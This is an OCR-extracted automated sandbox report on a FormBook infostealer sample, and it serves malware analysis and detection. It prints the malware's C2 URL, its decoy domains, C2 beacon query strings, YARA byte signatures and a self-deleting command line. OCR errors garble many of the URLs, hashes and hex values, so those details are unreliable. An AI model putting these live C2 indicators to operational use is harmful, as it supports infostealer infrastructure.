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Analysis Report 1cec9342_by Libranalysis
Overview

General Information Detection Classification
Sample 1cec9342_by_ Libranalysis
Name: (renamed file extension MALICIOUS

from none to exe)

Detected unpacking (changes PE se...

Found malware configuration
Analysis ID: 412599

Malicious sample detected (through ...

MD5: 1cec9342ac2clf9..

SHAL: 068ab566042035.. Multi AV Scanner detection for dropp...

SHA256: 21783d0a9f787d8. Multi AV Scanner, detection for subm...

Infos: SBRQg ity System process connects to networ...
Q 3? v Yara detected FormBook

Most interesting Screenshot:

C2 URLs / IPs found in malware con...

| B

w
«Q
>
2
(=
=
®
(7]

FormBook Machine Learning detection for samp...
Score: 100 Maps a DLL or memory area into an...
Range: 0-100 Modifies the context of a thread in a...
Whitelisted: false
) Queues an APC in another process ...
Confidence: 100%

=« [

Startup

= System is w10x64

® (Lp 1cec9342_by_Libranalysis.exe (PID: 6800 cmdline: 'C:\Users\user\Desktop\lcec9342_by_Libranalysis.exe' MD5: 1CEC9342AC2C1F91201DF672382672F2)
e (W 1cec9342_ by Libranalysis.exe (PID: 6840 cmdline: 'C:\Users\user\Desktop\lcec9342_by Libranalysis.exe' MD5: 1CEC9342AC2C1F91201DF672382672F2)
o W explorer.exe (PID: 3424 cmdline: MD5: AD5296B280E8F522A8A897C96BABOE1D)
e (B wlanextexe (PID: 5876 cmdline: C:\Windows\SysWOW64\wlanext.exe MD5: CD1ED9A48316D58513D8ECB2D55B5C04)
cmd.exe (PID: 6164 cmdline: /c del 'C:\Users\user\Desktop\lcec9342_by_Libranalysis.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)
. conhost.exe (PID: 3980 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

= cleanup

Malware Configuration

Threathname: FormBook
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"c2 list": [
"www.nobleandmarble.com/or4i/"

1,

"decoy": [
"cylindberg.com",
"qsmpy.world",
"hairmaxxclinic.com”,
"teesfitpro.com",
"changethecompany.net",
"painteredmond.conm",
"shebagholdings.com",
"wasteexport.com",
"salesclerkadage. life",
"rainboxs.com",
"lingoblasterdiscount.com”,
"booweats.com",
"topcasino-111.com",
"downtoearthwork.com”,
"carry-hati.com",
"passaustreetcorp.com”,
"directflence.com",
"basictrainningphothos.com”,
"virtualayurveda.com",
"dar-sanidad.com",
"businessenglish.company"”,
"safegrinder.com",
"blissfulyogamullicahill.com”,
"smartmatch-dating-api.com”,
"heaset.com",
"fingerpointingimp.com”,
"rogersbeefarm.com",
"guysgunsandcountry.com",
"attackbit.com",
"bawalturki.com",
"goodmanifest.com",
"healshameyoga.com",
"citiphoneonline.com”,
"canaltransportllc.com”,
"theflagdude.com",
"mmgenius.com”,
"ikeberto.com",
"sky-cargo.net",
"tecquestrian.com",
"ashleylovica.com",
"contorig2.com",
"nowhealthdays.com",
"dadaoliangpi.com",
"three.guide",
"anoussa.com",
"fanyingfu®@1.com",
"matthewdimartino.com”,
"ventadearticulosreligiosos.com”,
"collegesupermatch.com”,
"king-jackpot.com",
"puppillows.store”,
"woodforsmoke.com",
"globaltradesclub.com”,
"flipkart-max-sale.xyz",
"carlyle-cocao.com",
"cuntrera.com",
"sadafalbahariq.com",
"spmomgoals.com",
"mk-365.com",
"yanghuoquan.com",
"xn--espacesacr-k7a.com",
"pidelodirecto.com",
"Qo-a-8v4l76.net",

"agayeseo.com"

Yara Overview

Memory Dumps

Source Rule

00000000.00000002.657286033.0000000002340000.00000 JoeSecurity_FormBook
004.00000001.sdmp

Copyright Joe Security LLC 2021

Description

Yara detected
FormBook

Author

Joe Security

Strings
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Source Rule Description Author
00000000.00000002.657286033.0000000002340000.00000 Formbook_1 autogenerated rule Felix Bilstein -
004.00000001.sdmp brought to you by  yara-signator at
yara-signator cocacoding dot
com
00000000.00000002.657286033.0000000002340000.00000 Formbook detect Formbook in JPCERT/CC
004.00000001.sdmp memory Incident Response
Group
00000001.00000001.650458502.0000000000400000.00000 JoeSecurity_FormBook Yara detected Joe Security
040.00020000.sdmp FormBook
00000001.00000001.650458502.0000000000400000.00000 Formbook_1 autogenerated rule Felix Bilstein -
040.00020000.sdmp brought to you by  yara-signator at
yara-signator cocacoding dot
com

Unpacked PEs

Source

0.2.1cec9342_by_Libranalysis.exe.2340000.4.raw.unpack

0.2.1cec9342_by Libranalysis.exe.2340000.4.raw.unpack

0.2.1cec9342_by_Libranalysis.exe.2340000.4.raw.unpack

1.1.1cec9342_by_Libranalysis.exe.400000.0.raw.unpack

1.1.1cec9342_by_Libranalysis.exe.400000.0.raw.unpack

Copyright Joe Security LLC 2021

Click to see the 19 entries

Rule Description Author
JoeSecurity_FormBook  Yara detected Joe Security
FormBook
Formbook_1 autogenerated rule Felix Bilstein -
brought to you by  yara-signator at
yara-signator cocacoding dot
com
Formbook detect Formbook in JPCERT/CC
memory Incident Response
Group
JoeSecurity_FormBook Yara detected Joe Security
FormBook
Formbook_1 autogenerated rule Felix Bilstein -
brought to you by  yara-signator at
yara-signator cocacoding dot
com

Click to see the 13 entries

Strings
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0x85e8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x8982:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x14695:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x939a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
Oxall2:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4
Oxla82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

0x166b9:$sqlite3step: 68 34 1C 7B E1
0x167cc:$sqlite3step: 68 34 1C 7B E1
0x166e8:$sqlite3text: 68 38 2A 90 C5
0x1680d:$sqlite3text: 68 38 2A 90 C5
0x166fb:$sqlite3blob: 68 53 D8 7F 8C
0x16823:$sqlite3blob: 68 53 D8 7F 8C

0x85e8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x8982:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x14695:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x939a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
Oxall2:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4
Oxla82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

Strings
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0x85e8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x8982:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x14695:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x939a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
Oxall2:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4
Oxla82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

0x166b9:$sqlite3step: 68 34 1C 7B E1
0x167cc:$sqlite3step: 68 34 1C 7B E1
0x166e8:$sqlite3text: 68 38 2A 90 C5
0x1680d:$sqlite3text: 68 38 2A 90 C5
0x166fb:$sqlite3blob: 68 53 D8 7F 8C
0x16823:$sqlite3blob: 68 53 D8 7F 8C

0x85e8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x8982:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x14695:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x939a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
Oxall2:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4
Oxla82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00
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Sigma Overview

No Sigma rule has matched

Signature Overview

@ AV Detection

® Compliance

@ Spreading

@ Software Vulnerabilities

@ Networking

@ Key, Mouse, Clipboard, Microphone and Screen Capturing
@ E-Banking Fraud

@ System Summary

©® Data Obfuscation

@ Persistence and Installation Behavior

@ Hooking and other Techniques for Hiding and Protection
® Malware Analysis System Evasion

@ Anti Debugging

@ HIPS / PFW / Operating System Protection Evasion

@ Language, Device and Operating System Detection

@ Stealing of Sensitive Information

® Remote Access Functionality

@

Click to jump to signature section

AV Detection:

Found malware configuration
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file

Yara detected FormBook

Networking:

E-Banking Fraud:

:

Yara detected FormBook

System Summary:

‘]

Malicious sample detected (through community Yara rule)

Data Obfuscation:

=

Detected unpacking (changes PE section rights)

]‘

Malware Analysis System Evasion:

HIPS | PFW | Operating System Protection Evasion: | | |
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System process connects to network (likely due to code injection or exploit)

Stealing of Sensitive Information:

Yara detected FormBook

Remote Access Functionality: | |

Yara detected FormBook

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command Network
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Control Effects
Valid Shared Path Access Token Virtualization/Sandbox OS Security Software Remote Archive Exfiltration Encrypted Eavesdrop on
Accounts  Modules §§ Interception Manipulation Evasion Credential Discovery Services Collected  Over Other Channel Insecure
Dumping Data Network Network

Medium Communicatic
Default Scheduled Boot or Process Access Token LSASS Virtualization/Sandbox Remote Clipboard  Exfiltration ' Ingress Tool Exploit SS7 to
Accounts  Task/Job  Logon Injection Manipulation Memory  Evasion Desktop Data Over Transfer Redirect Phon

Initialization Protocol Bluetooth Calls/SMS
Scripts
Domain At (Linux)  Logon Script Logon Script Process Security Process Discovery SMB/Windows Data from Automated Non- Exploit SS7 to
Accounts (Windows)  (Windows) Injection Account Admin Shares Network  Exfiltration Application Track Device
Manager Shared Layer Location
Drive Protocol
Local At Logon Script Logon Script Deobfuscate/Decode NTDS Remote System Distributed Input Scheduled Application SIM Card
Accounts  (Windows) (Mac) (Mac) Files or Information Discovery Component  Capture Transfer Layer Swap
Object Model Protocol

Cloud Cron Network Network Logon  Obfuscated Filesor ~ LSA File and Directory SSH Keylogging Data Fallback Manipulate
Accounts Logon Script Script Information Secrets Discovery Transfer Channels Device

Size Limits Communicatic
Replication Launchd Rc.common Rc.common Software Cached System Information VNC GUI Input  Exfiltration  Multiband Jamming or
Through Packing Domain Discovery Capture Over C2 Communication Denial of
Removable Credentials Channel Service
Media

Behavior Graph
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Behavior Graph

rpT—

Legend:

Process
Signature
Created File
DNS/IP Info
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Is Dropped
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Internet
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Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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v aa

Recycle Bin ZUYYDIDFVF GNLONH...

Elw a EIX g

016 Excel 2016

FAAGWHB  BWETZDQ

QIF  FAAGWHB

F-ll O Type here to search i

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link
1cec9342_by_Libranalysis.exe 54% Virustotal Browse
1cec9342_by_Libranalysis.exe 24% Metadefender Browse
1cec9342_by_Libranalysis.exe 83% ReversingLabs Win32.Trojan.FormBook
1cec9342_by_Libranalysis.exe 100% Joe Sandbox ML

Dropped Files

Source Detection Scanner Label Link
C:\Users\user\AppData\Local\Temp\nsu26D1.tmp\8t7v9092ag2mtu.dll 26% Metadefender Browse
C:\Users\user\AppData\Local\Temp\nsu26D1.tmp\8t7v9092ag2mtu.dll 59% ReversingLabs Win32.Trojan.Spynoon

Unpacked PE Files

Source Detection Scanner Label Link Download

7.2.wlanext.exe.3d17960.5.unpack 100% Avira TR/Crypt.XPACK.Gen Download File
1.0.1cec9342_by_Libranalysis.exe.400000.0.unpack 100% Avira HEUR/AGEN.1130366 Download File
0.0.1cec9342_by_Libranalysis.exe.400000.0.unpack 100% Avira HEUR/AGEN.1130366 Download File
0.2.1cec9342_by_Libranalysis.exe.2340000.4.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File
1.1.1cec9342_by_Libranalysis.exe.400000.0.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File
0.2.1cec9342_by_Libranalysis.exe.400000.0.unpack 100% Avira HEUR/AGEN.1130366 Download File
1.2.1cec9342_by_Libranalysis.exe.400000.0.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

Copyright Joe Security LLC 2021 Page 10 of 45


https://www.virustotal.com/gui/file/a1783d0a9f787d819b960b55c8ebfb227459bcb7daab55996720e8279751736f/detection/f-a1783d0a9f787d819b960b55c8ebfb227459bcb7daab55996720e8279751736f-1620481408
https://www.metadefender.com/#!/results/file/bzIxMDUwOHNPYjZfaWpHNFFNTm5RR1Q5dng/regular/analysis
https://www.metadefender.com/#!/results/file/bzIxMDUwOEkwUzQ5NUJ2Mlh6MUpGcnljWGdu/regular/analysis

Source Detection

Domains

Source
rogersbeefarm.com
www.blissfulyogamullicahill.com

tecquestrian.com

URLs

Source

hitp:/f\www.cuntrera.com/or4i/?
4h_HCv=a2JDa0Xx22IpWxjP&HFQDEL_8=0Jz4pJjdv4YVSt0+MmS2FtCA6v4cV0g87alryYx21PY21L+d
s7v/9rK+HMpewyOytB7Z

hitp:/f\www.founder.com.cn/cn/bThe
hitp:/f\www.founder.com.cn/cn/bThe
hitp:/f\www.founder.com.cn/cn/bThe

hitp:/fiwww.rogersbeefarm.com/or4i/?
HFQDEL _8=iur2w+ilhsR226mwlbytM77gwZtRr9g6xSmsh16YEILoNNyvhmb6qr2bTjtOXqdrékbB&4h_HC
v=a2JDa0Xx22IpWxjP

hitp://\www.safegrinder.com/or4i/?
HFQDEL_8=bE8h/5YlylaGfqFoj5Gnx56IP13pmXv2ej3H/Lylqgjs4t+LIMarOZaaU3+bG1fp/+sg3&4h_HCv=
a2JDa0Xx22IpWxjP

hitp:/fwww.tiro.com
hitp:/fwww.tiro.com
hitp:/fwww.tiro.com
hitp://www.goodfont.co.kr
hitp://www.goodfont.co.kr
hitp://www.goodfont.co.kr

hitp://iwww.healshameyoga.com/or4i/?
4h_HCv=a2JDa0Xx22IpWxjP&HFQDEL_8=br7cblkv9ontd/SiGgT+XZDI5pRbJS2ewUl6yLIzIbkbVffvtcdg
NYOHgbt3ntXhEXSG

hitp://\www.directflence.com/or4i/?
4h_HCv=a2JDa0Xx22IpWxjP&HFQDEL_8=XZ5egFIM4LuR7jucOUFP6fai+XX218SV8Urlleq3oNzW4b+O
CSmMBABQPGFRXxJIXr06kx

hitp:/fiwww.tecquestrian.com/or4i/?
4h_HCv=a2JDa0Xx22IpWxjP&HFQDEL_8=1XIvg6XU5vVZMvk0S+FgKHU0BBBN1K6+BdhisE+/5jtYq3y
TMpAB8IYHSBxv+elZIV1A/

hitp://www.nowhealthdays.com/or4i/?
4h_HCv=a2JDa0Xx22IpWxjP&HFQDEL_8=Nfl9li5qPifS0gmI30GyYt+1WQBCc6+s+CWT3m3ZKN/MuRX1x
a905Jr26QEss+PYMzBmi

hitp://www.carterandcone.coml
hitp://www.carterandcone.coml
hitp://www.carterandcone.coml
hitp://iwww.sajatypeworks.com
hitp://iwww.sajatypeworks.com
hitp://iwww.sajatypeworks.com

hitp://www.changethecompany.net/or4i/?
4h_HCv=a2JDa0Xx22IpWxjP&HFQDEL_8=s0IAE6utMOpEbBTXfVBtMvohtOMhwSGLVfPWISEa+yA+XV
zrw80Q7eif0DgkxnFDccR

hitp:/fiwww.typography.netD
hitp:/fiwww.typography.netD
hitp:/fiwww.typography.netD
hitp://www.founder.com.cn/cn/cThe
hitp://www.founder.com.cn/cn/cThe
hitp://www.founder.com.cn/cn/cThe
hitp://www.galapagosdesign.com/staff/dennis.htm
hitp://www.galapagosdesign.com/staff/dennis.htm
hitp://www.galapagosdesign.com/staff/dennis.htm
hitp://fontfabrik.com

hitp://fontfabrik.com

hitp://fontfabrik.com
hitp://www.founder.com.cn/cn
hitp://www.founder.com.cn/cn
hitp://www.founder.com.cn/cn

hitp://www.nobleandmarble.com/or4i/?
HFQDEL_8=xTiNYjpz6T1Ak700Pc1RU9z7aC84W9n|SzpqqU4XaljgjdkzZuZgpX+EsFAQyzNyJiOr&4h_H
Cv=a2JDa0Xx22IpWxjP
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0%
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0%
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0%
0%
0%
0%
0%
0%
0%
0%
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0%
0%
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0%

Label

Scanner
Virustotal
Virustotal

Virustotal

Scanner

Avira URL Cloud

URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud

Avira URL Cloud

URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud

Avira URL Cloud

Avira URL Cloud

Avira URL Cloud

URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud

URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud

Link Download

Label Link

Browse

Browse

Browse

Label Link

safe

safe
safe
safe

safe

safe

safe
safe
safe
safe
safe
safe

safe

safe

safe

safe

safe
safe
safe
safe
safe
safe

safe

safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe

safe
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https://www.virustotal.com/gui/url/2a4152f872cbfb1f89cac329a2bbe01deb249bd9f36e58bb0f6d335892e0a954/detection/u-2a4152f872cbfb1f89cac329a2bbe01deb249bd9f36e58bb0f6d335892e0a954-1620407552
https://www.virustotal.com/gui/url/cd8a7ca055de850224941c5e4c0a76dd7764c0ae2db611e7c64f75dee863ee27/detection/u-cd8a7ca055de850224941c5e4c0a76dd7764c0ae2db611e7c64f75dee863ee27-1542994399
https://www.virustotal.com/gui/url/e51aab8e6f0b9445562f098051750d3804a5dc05dbd31c26d8da5ecc12082449/detection/u-e51aab8e6f0b9445562f098051750d3804a5dc05dbd31c26d8da5ecc12082449-1620321385

Source Detection Scanner Label Link

hitp://www.booweats.com/or4i/? 0% Avira URL Cloud safe
HFQDEL_8=qot6XnISyPOFXuVGORDICEtZEU4GG3KqT75/dB/Qk/mHCMLKHKtxcGvS1QI8r/8KBX8&
4h_HCv=a2JDa0Xx22IpWxjP

hitp:/fiwww.jiyu-kobo.co.jp/ 0% URL Reputation safe
hitp:/fiwww.jiyu-kobo.co.jp/ 0% URL Reputation safe
hitp:/fiwww.jiyu-kobo.co.jp/ 0% URL Reputation safe
hitp:/fwww.mmgenius.com/or4i/? 0% Avira URL Cloud safe

HFQDEL_8=kdp3FbqgcdOoi47L6CSewezhnlrd3vGjo7ZesdbmmEgh4+nsMxNwHdMyhwqYehAYq5sNV&4
h_HCv=a2JDa0Xx22IpWxjP

hitp://\www.galapagosdesign.com/DPlease 0% URL Reputation safe
hitp://\www.galapagosdesign.com/DPlease 0% URL Reputation safe
hitp://\www.galapagosdesign.com/DPlease 0% URL Reputation safe
hitp:/fiwww.%s.comPA 0% URL Reputation safe
hitp:/fiwww.%s.comPA 0% URL Reputation safe
hitp:/fiwww.%s.comPA 0% URL Reputation safe
hitp:/f/www.sandoll.co.kr 0% URL Reputation safe
hitp://www.sandoll.co.kr 0% URL Reputation safe
hitp://www.sandoll.co.kr 0% URL Reputation safe
hitp:/f/www.urwpp.deDPlease 0% URL Reputation safe
hitp:/f/www.urwpp.deDPlease 0% URL Reputation safe
hitp:/f/www.urwpp.deDPlease 0% URL Reputation safe
hitp://www.zhongyicts.com.cn 0% URL Reputation safe
hitp://www.zhongyicts.com.cn 0% URL Reputation safe
hitp://www.zhongyicts.com.cn 0% URL Reputation safe
hitp:/fiwww.ikeberto.com/or4i/? 0% Avira URL Cloud safe

HFQDEL_8=9uknvSsOD9sRUbKPNEJc//q5kM+rT7HBD1bOe0TigX7EwC/pCwMCWQN4ECUA0466XB/p
&4h_HCv=a2JDa0Xx22IpWxjP

hitp:/fiwww.sakkal.com 0% URL Reputation safe
hitp:/fiwww.sakkal.com 0% URL Reputation safe
hitp:/fiwww.sakkal.com 0% URL Reputation safe
hitp:/f\www.rainboxs.com/or4i/? 0% Avira URL Cloud safe
4h_HCv=a2JDa0Xx22IpWxjP&HFQDEL_8=+ijMIDuYhuzidrLjkbi+elVKZ7K6phzLRhFwzYI2MHaYrqu+hiZ

6wsf57yroxB2MR5WJ

www.nobleandmarble.com/or4i/ 0% Avira URL Cloud safe

Domains and IPs

Contacted Domains

Name Active Malicious Antivirus Detection Reputation
rogersbeefarm.com 34.102.136.180 true false e 0%, Virustotal, Browse unknown
www.blissfulyogamullicahill.com 199.59.242.153 true false e 0%, Virustotal, Browse unknown
tecquestrian.com 34.102.136.180 true false e 0%, Virustotal, Browse unknown

rainboxs.com 34.102.136.180 true false unknown
changethecompany.net 34.102.136.180 true false unknown
prod-sav-park-1b01-1919960993.us-east- 3.16.197.4 true false high

2.elb.amazonaws.com

ikeberto.com 34.102.136.180 true false unknown
pixie.porkbun.com 44.227.76.166 true false high
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https://www.virustotal.com/gui/url/2a4152f872cbfb1f89cac329a2bbe01deb249bd9f36e58bb0f6d335892e0a954/detection/u-2a4152f872cbfb1f89cac329a2bbe01deb249bd9f36e58bb0f6d335892e0a954-1620407552
https://www.virustotal.com/gui/url/cd8a7ca055de850224941c5e4c0a76dd7764c0ae2db611e7c64f75dee863ee27/detection/u-cd8a7ca055de850224941c5e4c0a76dd7764c0ae2db611e7c64f75dee863ee27-1542994399
https://www.virustotal.com/gui/url/e51aab8e6f0b9445562f098051750d3804a5dc05dbd31c26d8da5ecc12082449/detection/u-e51aab8e6f0b9445562f098051750d3804a5dc05dbd31c26d8da5ecc12082449-1620321385

Name Active Malicious Antivirus Detection Reputation

Contacted URLs

Name Malicious Antivirus Detection Reputation

hitp:/fiwww.rogersbeefarm.com/or4i/? false e Avira URL Cloud: safe unknown
HFQDEL _8=iur2w+ilhsR226mwlbytM77gwZtRrag6xSmsh16YEILoNNyvhmb6qr2bTjtOXqdrék
bB&4h_HCv=a2JDa0Xx22IpWxjP

hitp:/fiwww.tecquestrian.com/or4i/? false e Avira URL Cloud: safe unknown
4h_HCv=a2JDa0Xx22IpWxjP&HFQDEL_8=1XIvg6XU5vVZMvk0S+FgKHUoBBBn1K6+Bdhis
E+/5)tYq3yTMpA8IYHSBxv+elZIV1A/

hitp://www.changethecompany.net/or4i/? false e Avira URL Cloud: safe unknown
4h_HCv=a2JDa0Xx22IpWxjP&HFQDEL_8=s0IAE6utMOpEbBTXfVBtMvohtOMhwSGLVfPwIS
Ea+yA+XVzrnw80Q7eif0DgkxnFDccR

hitp:/fiwww.ikeberto.com/or4i/? false e Avira URL Cloud: safe unknown
HFQDEL_8=9uknvSsO0D9sRUbKPNEJc//q5kM+rT7HBD1bOe0TigX7EwC/pCWwMCWQN4ECUA
0466XB/p&4h_HCv=a2JDa0Xx22IpWxjP

hitp:/f\www.rainboxs.com/or4i/? false e Avira URL Cloud: safe unknown
4h_HCv=a2JDa0Xx22IpWxjP&HFQDEL_8=+ijMIDuYhuzidrLjkbi+elVKZ7K6phzLRhFwzYI12MH
aYrqu+hiz6wsf57yroxB2MR5WJ

URLs from Memory and Binaries

Name Source Malicious Antivirus Detection Reputation

hitp://www.apache.org/licenses/LICENSE-2.0 explorer.exe, 00000004.0000000 false high
0.675439784.000000000B976000.0
0000002.00000001.sdmp

hitp://www.fontbureau.com explorer.exe, 00000004.0000000 false high
0.675439784.000000000B976000.0
0000002.00000001.sdmp

hitp:/fiwww.fontbureau.com/designersG explorer.exe, 00000004.0000000 false high
0.675439784.000000000B976000.0
0000002.00000001.sdmp

hitp:/f\www.fontbureau.com/designers/? explorer.exe, 00000004.0000000 false high
0.675439784.000000000B976000.0
0000002.00000001.sdmp

hitp:/f\www.founder.com.cn/cn/bThe explorer.exe, 00000004.0000000 false e URL Reputation: safe unknown
0.675439784.000000000B976000.0 URL Reputation: safe

0000002.00000001.sdmp e URL Reputation: safe
hitp:/fiwww.fontbureau.com/designers? explorer.exe, 00000004.0000000 false high
0.675439784.000000000B976000.0
0000002.00000001.sdmp
hitp://https://sedo.com/search/details/? wlanext.exe, 00000007.00000002 false high
partnerid=324561&language=it&domain=booweats.com&origin .908237231.0000000003E92000.00
=sales_lande 000004.00000001.sdmp
hitp:/fiwww.tiro.com explorer.exe, 00000004.0000000 false e URL Reputation: safe unknown
0.675439784.000000000B976000.0 e URL Reputation: safe
0000002.00000001.sdmp e URL Reputation: safe
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Name

hitp://www.fontbureau.com/designers

hitp://nsis.sf.net/NSIS_ErrorError

hitp://iwww.goodfont.co.kr

hitp://www.carterandcone.coml

hitp://iwww.sajatypeworks.com

hitp:/fiwww.typography.netD

hitp://www.fontbureau.com/designers/cabarga.htmIN

hitp://www.founder.com.cn/cn/cThe

hitp://iwww.galapagosdesign.com/staff/dennis.htm

hitp://fontfabrik.com

hitp://www.founder.com.cn/cn

hitp://iwww.fontbureau.com/designers/frere-user.html

hitp://nsis.sf.net/NSIS_Error

hitp://cpanel.com/?

utm_source=cpanelwhmé&utm_medium=cplogo&utm_content=

logolink&utm_campaign=404refer

hitp:/fiwww.jiyu-kobo.co.jp/

hitp://iwww.galapagosdesign.com/DPlease

hitp:/f\www.fontbureau.com/designers8

hitpiwww.%s.comPA

hitp:/fiwww.fonts.com

hitp:/f\www.sandoll.co.kr

hitp:/fiwww.urwpp.deDPlease

hitp://www.zhongyicts.com.cn

hitp:/fiwww.sakkal.com

Contacted IPs

Copyright Joe Security LLC 2021

Source

explorer.exe, 00000004.0000000
0.675439784.000000000B976000.0
0000002.00000001.sdmp

1cec9342_by_Libranalysis.exe

explorer.exe, 00000004.0000000
0.675439784.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000004.0000000
0.675439784.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000004.0000000
0.675439784.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000004.0000000
0.675439784.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000004.0000000
0.675439784.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000004.0000000
0.675439784.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000004.0000000
0.675439784.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000004.0000000
0.675439784.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000004.0000000
0.675439784.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000004.0000000
0.675439784.000000000B976000.0
0000002.00000001.sdmp

1cec9342_by_Libranalysis.exe

wlanext.exe, 00000007.00000002
.908237231.0000000003E92000.00
000004.00000001.sdmp

explorer.exe, 00000004.0000000
0.675439784.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000004.0000000
0.675439784.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000004.0000000
0.675439784.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000004.0000000
0.656903720.0000000002B50000.0
0000002.00000001.sdmp

explorer.exe, 00000004.0000000
0.675439784.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000004.0000000
0.675439784.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000004.0000000
0.675439784.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000004.0000000
0.675439784.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000004.0000000
0.675439784.000000000B976000.0
0000002.00000001.sdmp

Malicious

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

Antivirus Detection

URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

Reputation

high

high

unknown

unknown

unknown

unknown

high

unknown

unknown

unknown

unknown

high

high
high

unknown

unknown

high

low

high

unknown

unknown

unknown

unknown
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] No. of IPs < 25%
B 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
Bl 75% < No. of IPs

Public

